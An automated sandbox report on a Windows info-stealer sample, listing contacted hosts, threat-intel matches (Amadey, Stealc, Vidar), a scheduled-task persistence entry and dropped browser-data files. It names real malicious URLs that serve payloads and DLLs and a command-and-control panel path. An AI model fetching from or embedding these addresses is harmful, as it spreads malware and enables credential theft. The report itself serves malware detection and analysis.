http://85.28.47.4/69934896f997d5bb/msvcp140.dllNLu	tAa6xNsucX.exe, 00000000.00000002.2304071459.000000000080C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://147.45.47.155/I	explortu.exe, 00000009.00000002.4583229120.0000000000CF4000.00000004.00000020.00020000.00000000.sdmp	false	5%, Virustotal, Browse Avira URL Cloud: phishing	unknown
http://www.sqlite.org/copyright.html.	tAa6xNsucX.exe, 00000000.00000002.2340724909.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, tAa6xNsucX.exe, 00000000.00000002.2327877769.000000001CCFB000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://147.45.47.155/ku4Nor9/index.phpm32	explortu.exe, 00000009.00000002.4583229120.0000000000CC0000.00000004.00000020.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: phishing	unknown
http://77.91.77.81/mine/amadka.exe00	tAa6xNsucX.exe, 00000000.00000002.2305011823.0000000000C96000.00000040.00000001.01000000.00000003.sdmp	true	25%, Virustotal, Browse Avira URL Cloud: phishing	unknown
http://www.mozilla.com/en-US/blocklist/	tAa6xNsucX.exe, tAa6xNsucX.exe, 00000000.00000002.2340937251.000000006C38D000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://mozilla.org0/	freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	false	Avira URL Cloud: safe	unknown
http://77.91.77.81/cost/go.exepData	tAa6xNsucX.exe, 00000000.00000002.2305011823.0000000000D3A000.00000040.00000001.01000000.00000003.sdmp	true	Avira URL Cloud: phishing	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	tAa6xNsucX.exe, 00000000.00000003.2183850459.0000000000856000.00000004.00000020.00020000.00000000.sdmp, EGCFHDAK.0.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://77.91.77.81/cost/go.exe00	tAa6xNsucX.exe, 00000000.00000002.2305011823.0000000000C96000.00000040.00000001.01000000.00000003.sdmp	true	25%, Virustotal, Browse Avira URL Cloud: phishing	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	tAa6xNsucX.exe, 00000000.00000003.2183850459.0000000000856000.00000004.00000020.00020000.00000000.sdmp, EGCFHDAK.0.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://upx.sf.net	Amcache.hve.5.dr	false	URL Reputation: safe	unknown
http://147.45.47.155/ku4Nor9/index.phpo	explortu.exe, 00000009.00000002.4583229120.0000000000CC0000.00000004.00000020.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: phishing	unknown
https://www.ecosia.org/newtab/	tAa6xNsucX.exe, 00000000.00000003.2183850459.0000000000856000.00000004.00000020.00020000.00000000.sdmp, EGCFHDAK.0.dr	false	URL Reputation: safe	unknown
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta	tAa6xNsucX.exe, 00000000.00000002.2304071459.0000000000914000.00000004.00000020.00020000.00000000.sdmp, AFCFHDHIIIECBGCAKFIJ.0.dr	false	Avira URL Cloud: safe	unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	AAFIJKKEHJDHJKFIECAAKFIJJK.0.dr	false	URL Reputation: safe	unknown
http://147.45.47.155/ku4Nor9/index.phpM32	explortu.exe, 00000009.00000002.4583229120.0000000000CC0000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://85.28.47.4	tAa6xNsucX.exe, 00000000.00000002.2304071459.00000000007BE000.00000004.00000020.00020000.00000000.sdmp	true	15%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://ac.ecosia.org/autocomplete?q=	tAa6xNsucX.exe, 00000000.00000003.2183850459.0000000000856000.00000004.00000020.00020000.00000000.sdmp, EGCFHDAK.0.dr	false	URL Reputation: safe	unknown
http://147.45.47.155/ku4Nor9/index.phpD	explortu.exe, 00000009.00000002.4583229120.0000000000CC0000.00000004.00000020.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: phishing	unknown
http://147.45.47.155/ku4Nor9/index.phpE	explortu.exe, 00000009.00000002.4583229120.0000000000CC0000.00000004.00000020.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: phishing	unknown
https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg	tAa6xNsucX.exe, 00000000.00000002.2304071459.0000000000914000.00000004.00000020.00020000.00000000.sdmp, AFCFHDHIIIECBGCAKFIJ.0.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	tAa6xNsucX.exe, 00000000.00000002.2304071459.0000000000914000.00000004.00000020.00020000.00000000.sdmp, AFCFHDHIIIECBGCAKFIJ.0.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://pki-ocsp.symauth.com0	tAa6xNsucX.exe	false	Avira URL Cloud: safe	unknown
http://85.28.47.4/69934896f997d5bb/softokn3.dll#L	tAa6xNsucX.exe, 00000000.00000002.2304071459.000000000080C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL	AAFIJKKEHJDHJKFIECAAKFIJJK.0.dr	false	Avira URL Cloud: safe	unknown
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	tAa6xNsucX.exe, 00000000.00000002.2304071459.0000000000914000.00000004.00000020.00020000.00000000.sdmp, AFCFHDHIIIECBGCAKFIJ.0.dr	false	Avira URL Cloud: safe	unknown
http://85.28.47.4/69934896f997d5bb/mozglue.dll0L	tAa6xNsucX.exe, 00000000.00000002.2304071459.000000000080C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477	tAa6xNsucX.exe, 00000000.00000002.2304071459.0000000000914000.00000004.00000020.00020000.00000000.sdmp, AFCFHDHIIIECBGCAKFIJ.0.dr	false	Avira URL Cloud: safe	unknown
http://147.45.47.155/ku4Nor9/index.phpO	explortu.exe, 00000009.00000002.4583229120.0000000000CE6000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://support.mozilla.org	AAFIJKKEHJDHJKFIECAAKFIJJK.0.dr	false	URL Reputation: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	tAa6xNsucX.exe, 00000000.00000003.2183850459.0000000000856000.00000004.00000020.00020000.00000000.sdmp, EGCFHDAK.0.dr	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
147.45.47.155	unknown	Russian Federation	2895	FREE-NET-ASFREEnetEU	true
77.91.77.81	unknown	Russian Federation	42861	FOTONTELECOM-TRANSIT-ASFOTONTELECOMISPRU	false
85.28.47.4	unknown	Russian Federation	31643	GES-ASRU	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1463440
Start date and time:	2024-06-27 07:36:06 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 11m 32s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	17
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	tAa6xNsucX.exe renamed because original name is a hash value
Original Sample Name:	b034eecf4642c53db4eeb735c813bc27.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@18/28@0/3
EGA Information:	Successful, ratio: 40%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded domains from analysis (whitelisted): fs.microsoft.com, ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target HIIEBAFCBK.exe, PID 3652 because it is empty
Execution Graph export aborted for target explortu.exe, PID 5040 because there are no executed function
Execution Graph export aborted for target explortu.exe, PID 7356 because there are no executed function
HTTP sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
01:37:31	API Interceptor	11685833x Sleep call for process: explortu.exe modified
07:37:28	Task Scheduler	Run new task: explortu path: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
147.45.47.155	wqmnYoVbHr.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	147.45.47.155/ku4Nor9/index.php
	EZrw1nNIpG.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	147.45.47.155/ku4Nor9/index.php
	setup.exe	Get hash	malicious	Amadey, RisePro Stealer	Browse	147.45.47.155/ku4Nor9/index.php
	SecuriteInfo.com.Win32.Evo-gen.11484.28734.exe	Get hash	malicious	Amadey	Browse	147.45.47.155/ku4Nor9/index.php
	SecuriteInfo.com.Win32.Evo-gen.23207.8804.exe	Get hash	malicious	Amadey, RisePro Stealer	Browse	147.45.47.155/ku4Nor9/index.php
	SecuriteInfo.com.Win32.Evo-gen.8431.6571.exe	Get hash	malicious	Amadey, RisePro Stealer	Browse	147.45.47.155/ku4Nor9/index.php
77.91.77.81	1Vkf7silOj.exe	Get hash	malicious	LummaC, Amadey, Mars Stealer, PureLog Stealer, RedLine, SmokeLoader, Stealc	Browse	77.91.77.81/Kiru9gu/index.php
	wqmnYoVbHr.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.81/stealc/random.exe
	EZrw1nNIpG.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.81/stealc/random.exe
	hsRju5CPK2.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, RedLine, zgRAT	Browse	77.91.77.81/Kiru9gu/index.php
	setup.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer	Browse	77.91.77.81/Kiru9gu/index.php
	setup.exe	Get hash	malicious	Amadey	Browse	77.91.77.81/Kiru9gu/index.php
	mCTacyNuyM.exe	Get hash	malicious	LummaC, Python Stealer, Amadey, LummaC Stealer, Monster Stealer, PureLog Stealer, RedLine	Browse	77.91.77.81/Kiru9gu/index.php
	yWny5Jds8b.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RedLine	Browse	77.91.77.81/Kiru9gu/index.php
	setup.exe	Get hash	malicious	LummaC, Python Stealer, Amadey, LummaC Stealer, Monster Stealer, PureLog Stealer, RedLine	Browse	77.91.77.81/Kiru9gu/index.php
	setup.exe	Get hash	malicious	Amadey	Browse	77.91.77.81/Kiru9gu/index.php
85.28.47.4	wqmnYoVbHr.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	85.28.47.4/920475a59bac849d.php
	EZrw1nNIpG.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	85.28.47.4/920475a59bac849d.php
	KgXj6BW5dZ.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse	85.28.47.4/920475a59bac849d.php
	T8TLibvQ1C.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse	85.28.47.4/920475a59bac849d.php
	HWyC5T1f8a.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse	85.28.47.4/920475a59bac849d.php

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
FREE-NET-ASFREEnetEU	wqmnYoVbHr.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	147.45.47.155
	EZrw1nNIpG.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	147.45.47.155
	Loader.exe	Get hash	malicious	PureLog Stealer, RedLine, zgRAT	Browse	147.45.47.64
	Aquantia_Setup 2.21.exe	Get hash	malicious	PureLog Stealer, RedLine, zgRAT	Browse	147.45.47.64
	setup.exe	Get hash	malicious	Amadey, RisePro Stealer	Browse	147.45.47.155
	setup.exe	Get hash	malicious	PureLog Stealer, RedLine, zgRAT	Browse	147.45.47.64
	Galaxy Swapper v2.0.3.exe	Get hash	malicious	LummaC, Xmrig	Browse	147.45.47.81
	file.exe	Get hash	malicious	RisePro Stealer	Browse	147.45.47.126
	SecuriteInfo.com.Win32.PWSX-gen.1558.15324.exe	Get hash	malicious	PureLog Stealer	Browse	193.233.203.218
	4Ip0IVHqJ3.exe	Get hash	malicious	RisePro Stealer	Browse	147.45.47.126
GES-ASRU	wqmnYoVbHr.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	85.28.47.4
	EZrw1nNIpG.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	85.28.47.4
	2snSKQHbDz.exe	Get hash	malicious	RedLine	Browse	85.28.47.7
	KgXj6BW5dZ.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse	85.28.47.4
	T8TLibvQ1C.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse	85.28.47.4
	HWyC5T1f8a.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse	85.28.47.4
	xS6ePhELv0.exe	Get hash	malicious	RedLine	Browse	85.28.47.7
	6a7R9UXFMM.elf	Get hash	malicious	Mirai	Browse	85.28.26.9
	WNvt5lJRrT.elf	Get hash	malicious	Mirai	Browse	85.28.26.0
	hbqK0qfLnv.elf	Get hash	malicious	Mirai	Browse	85.28.26.0
FOTONTELECOM-TRANSIT-ASFOTONTELECOMISPRU	1Vkf7silOj.exe	Get hash	malicious	LummaC, Amadey, Mars Stealer, PureLog Stealer, RedLine, SmokeLoader, Stealc	Browse	77.91.77.81
	wqmnYoVbHr.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.81
	EZrw1nNIpG.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.81
	file.exe	Get hash	malicious	RisePro Stealer	Browse	77.91.77.66
	hsRju5CPK2.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, RedLine, zgRAT	Browse	77.91.77.81
	setup.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer	Browse	77.91.77.81
	90ZF1EDs9h.exe	Get hash	malicious	RisePro Stealer	Browse	77.91.77.66
	setup.exe	Get hash	malicious	Amadey	Browse	77.91.77.81
	mCTacyNuyM.exe	Get hash	malicious	LummaC, Python Stealer, Amadey, LummaC Stealer, Monster Stealer, PureLog Stealer, RedLine	Browse	77.91.77.81
	Ke5ufWcgxp.exe	Get hash	malicious	RisePro Stealer	Browse	77.91.77.66

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	1Vkf7silOj.exe	Get hash	malicious	LummaC, Amadey, Mars Stealer, PureLog Stealer, RedLine, SmokeLoader, Stealc	Browse
	AADJTHAWWR.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse
	wqmnYoVbHr.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse
	EZrw1nNIpG.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse
	KgXj6BW5dZ.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse
	T8TLibvQ1C.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse
	HWyC5T1f8a.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse
	DqnftBv2b9.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse
	Set-up.exe	Get hash	malicious	Amadey, Vidar, Xmrig	Browse
	75MwheiQ7I.exe	Get hash	malicious	Amadey	Browse
C:\ProgramData\mozglue.dll	1Vkf7silOj.exe	Get hash	malicious	LummaC, Amadey, Mars Stealer, PureLog Stealer, RedLine, SmokeLoader, Stealc	Browse
	AADJTHAWWR.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse
	wqmnYoVbHr.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse
	EZrw1nNIpG.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse
	KgXj6BW5dZ.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse
	T8TLibvQ1C.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse
	HWyC5T1f8a.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse
	DqnftBv2b9.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse
	Set-up.exe	Get hash	malicious	Amadey, Vidar, Xmrig	Browse
	75MwheiQ7I.exe	Get hash	malicious	Amadey	Browse

Created / dropped Files

C:\ProgramData\AAFIJKKEHJDHJKFIECAAKFIJJK

Download File

Process:	C:\Users\user\Desktop\tAa6xNsucX.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.03859996294213402
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWHxDSjENbx56p3DisuwAyHI:58r54w0VW3xWdkEFxcp3y/y
MD5:	D2A38A463B7925FE3ABE31ECCCE66ACA
SHA1:	A1824888F9E086439B287DEA497F660F3AA4B397
SHA-256:	474361353F00E89A9ECB246EC4662682392EBAF4F2A4BE9ABB68BBEBE33FA4A0
SHA-512:	62DB46A530D952568EFBFF7796106E860D07754530B724E0392862EF76FDF99043DA9538EC0044323C814DF59802C3BB55454D591362CB9B6E39947D11E981F7
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\AFCFHDHIIIECBGCAKFIJ

Download File

Process:	C:\Users\user\Desktop\tAa6xNsucX.exe
File Type:	ASCII text, with very long lines (1743), with CRLF line terminators
Category:	dropped
Size (bytes):	9504
Entropy (8bit):	5.512408163813622
Encrypted:	false
SSDEEP:	192:nnPOeRnWYbBp6RJ0aX+H6SEXKxkHWNBw8D4Sl:PeegJUaJHEw90
MD5:	1191AEB8EAFD5B2D5C29DF9B62C45278
SHA1:	584A8B78810AEE6008839EF3F1AC21FD5435B990
SHA-256:	0BF10710C381F5FCF42F9006D252E6CAFD2F18840865804EA93DAA06658F409A
SHA-512:	86FF4292BF8B6433703E4E650B6A4BF12BC203EF4BBBB2BC0EEEA8A3E6CC1967ABF486EEDCE80704D1023C15487CC34B6B319421D73E033D950DBB1724ABADD5
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "9e34c6e7-cbed-40a0-ba63-35488e171013");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696426836);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696426837);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\CBKJJJDHDGDAAKECAKJDAEGCBK

Download File

Process:	C:\Users\user\Desktop\tAa6xNsucX.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\CFCBFBGDBKJKECAAKKFHDBFHII

Download File

Process:	C:\Users\user\Desktop\tAa6xNsucX.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8439810553697228
Encrypted:	false
SSDEEP:	24:TLyAF1kwNbXYFpFNYcw+6UwcQVXH5fBO9p7n52GmCWGf+dyMDCFVE1:TeAFawNLopFgU10XJBOB2Gbf+ba+
MD5:	9D46F142BBCF25D0D495FF1F3A7609D3
SHA1:	629BD8CD800F9D5B078B5779654F7CBFA96D4D4E
SHA-256:	C11B443A512184E82D670BA6F7886E98B03C27CC7A3CEB1D20AD23FCA1DE57DA
SHA-512:	AC90306667AFD38F73F6017543BDBB0B359D79740FA266F587792A94FDD35B54CCE5F6D85D5F6CB7F4344BEDAD9194769ABB3864AAE7D94B4FD6748C31250AC2
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DGDBFBFC

Download File

Process:	C:\Users\user\Desktop\tAa6xNsucX.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\EGCFHDAK

Download File

Process:	C:\Users\user\Desktop\tAa6xNsucX.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\FBGHCGCAEBFIJKFIDBGH

Download File

Process:	C:\Users\user\Desktop\tAa6xNsucX.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\FHDAEHDAKECGCAKFCFIJ

Download File

Process:	C:\Users\user\Desktop\tAa6xNsucX.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\FIIEGDBAEBFIIDHJJJEBAAAKJE

Download File

Process:	C:\Users\user\Desktop\tAa6xNsucX.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\tAa6xNsucX.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
